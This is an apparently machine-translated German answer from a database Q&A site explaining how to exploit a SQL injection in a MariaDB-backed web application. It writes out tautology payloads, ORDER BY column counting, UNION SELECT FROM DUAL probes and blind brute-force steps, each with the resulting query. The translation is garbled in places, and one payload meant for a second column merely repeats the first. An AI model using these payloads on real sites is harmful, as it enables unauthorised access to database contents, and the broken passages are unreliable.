Mysql
 sql >> Datenbank >  >> RDS >> Mysql

MariaDb-SQL-Injection

Ok, dann lass uns ein bisschen Spaß haben.

Wenn ich mir die Fehlermeldung

ansehe

Ich gehe davon aus, dass die Abfrage und der Code in der Anwendung mehr oder weniger so pseudoklug sind, der @o ist tatsächlich eine MySQL-Benutzervariable..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Ich werde ein SQL-Fiddle Leerzeichen verwenden um einen SQL-Injection-Test und mehr zu simulieren, um einen möglichen Zugriff auf andere Tabellen zu erhalten.

Sie können Ihre Injektion mit 1' OR 1 = 1# testen oder 1' OR 1 = 1-- beide sollten funktionieren und Ihnen dasselbe Ergebnis liefern, wenn Sie 1 verwenden als Eingabe. Dies liegt daran, dass MariaDB automatisch die Typen für andere Datenbanken umwandelt, die Sie möglicherweise benötigen, um die strengere Version 1' OR '1' = '1# zu verwenden

Was

erzeugen sollte
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Oder

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Da Sie dann Fehler in der Anwendung sehen, können Sie ORDER BY 1 verwenden um zu überprüfen, wie viele Spalten ausgewählt sind, und erhöhen Sie die Zahl, bis Sie eine Fehlermeldung erhalten.

Fehler:ER_BAD_FIELD_ERROR:Unbekannte Spalte '2' in 'Order Clause'

Injizieren mit

1' ORDER BY 1# oder 1' ORDER BY 1--

Was bedeutet, dass nach der ersten Spalte in der Ergebnismenge NICHT sortiert wird sortiere 1 wörtlich.

Erzeugt

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Oder

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Wenn Sie die Spalten kennen, können Sie UNION verwenden um in andere Tabellen zu gelangen. Verwenden Sie NULL wenn Sie nicht alle Spalten benötigen.

Injektion

1' UNION ALL SELECT NULL FROM DUAL#

Beachten Sie, dass DUAL ist eine "virtuelle" nicht vorhandene Tabelle in MariaDB, MySQL und Oracle. Wenn Sie diese "Tabelle" abfragen können, bedeutet dies, dass Sie technisch gesehen auch in andere Tabellen gelangen können.

generiertes SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

Und wenn die Webseite als "Detail"-Seite gestaltet ist, wo immer ein Datensatz sichtbar ist, müssen Sie ein LIMIT 1, 1 hinzufügen in Ihrer Injektion.

Was ist, wenn in der Webanwendung keine Fehler sichtbar sind, sollten Sie einfach in der Lage sein, mit blinden SQL-Injektionen blind Bruteforce-Geuss zu machen und zu sehen, wie die Anwendung funktioniert.
Versuchen Sie auch Dinge wie ?o=0 , ?o=NULL oder sehr hohe Zahlen wie der maximale INT-Wert (mit Vorzeichen) ?o=2147483647 oder (unsigned) ?o=4294967295 bevor Sie versuchen, die verwendete Spaltennummer zu bruteforcen, damit Sie wissen, wie die Anwendung mit Datensätzen umgeht, die nicht gefunden werden können, da es sehr unwahrscheinlich ist, dass sie die ID 0 haben oder so hohe Zahlen auf einem INT Datentyp, da die Anwendung aufhört zu arbeiten, wenn die letzte Zahl angegeben wurde. Wenn Sie immer noch einen Datensatz mit diesen hohen Zahlen erhalten, verwenden Sie die maximalen Werte für BIGINT Datentyp statt.

Für Spalte 1 gleiche Ergebnis-ID o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Für Spalte 2, die einen Fehler verursacht, wird höchstwahrscheinlich eine Fehlerseite oder eine Meldung angezeigt, dass der Datensatz nicht gefunden wurde.
Oder ein süßer HTTP 404 (Not Found) Fehlerstatus.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Ein Problem, das bei der Verwendung von LIMIT auftreten könnte ohne ORDER BY zu verwenden könnte eine Chance sein, dieselben Datensätze zu erhalten, da der SQL-Standard definiert hat, dass SQL-Tabellen/Ergebnismengen ordnungslos sind ohne ORDER BY zu verwenden

Daher sollten Sie idealerweise weiterhin ORDER BY 1 verwenden bei den Bruteforces.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

Und

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

Die Datenbanken unterstützen ORDER BY 1 ist besser als ich zuerst dachte, da es in MySQL, MariaDB, SQL Server (MSSQL) und PostgreSQL funktioniert.

Auch ORDER BY 1 war eine Funktion von SQL 92, die in SQL 99 entfernt wurde.
Also eigentlich sollten SQL-Datenbanken ORDER BY 1 nicht ausführen nicht mehr, wenn sie sich in diesem Punkt an die SQL-Standards halten würden.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

im Vergleich zu SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC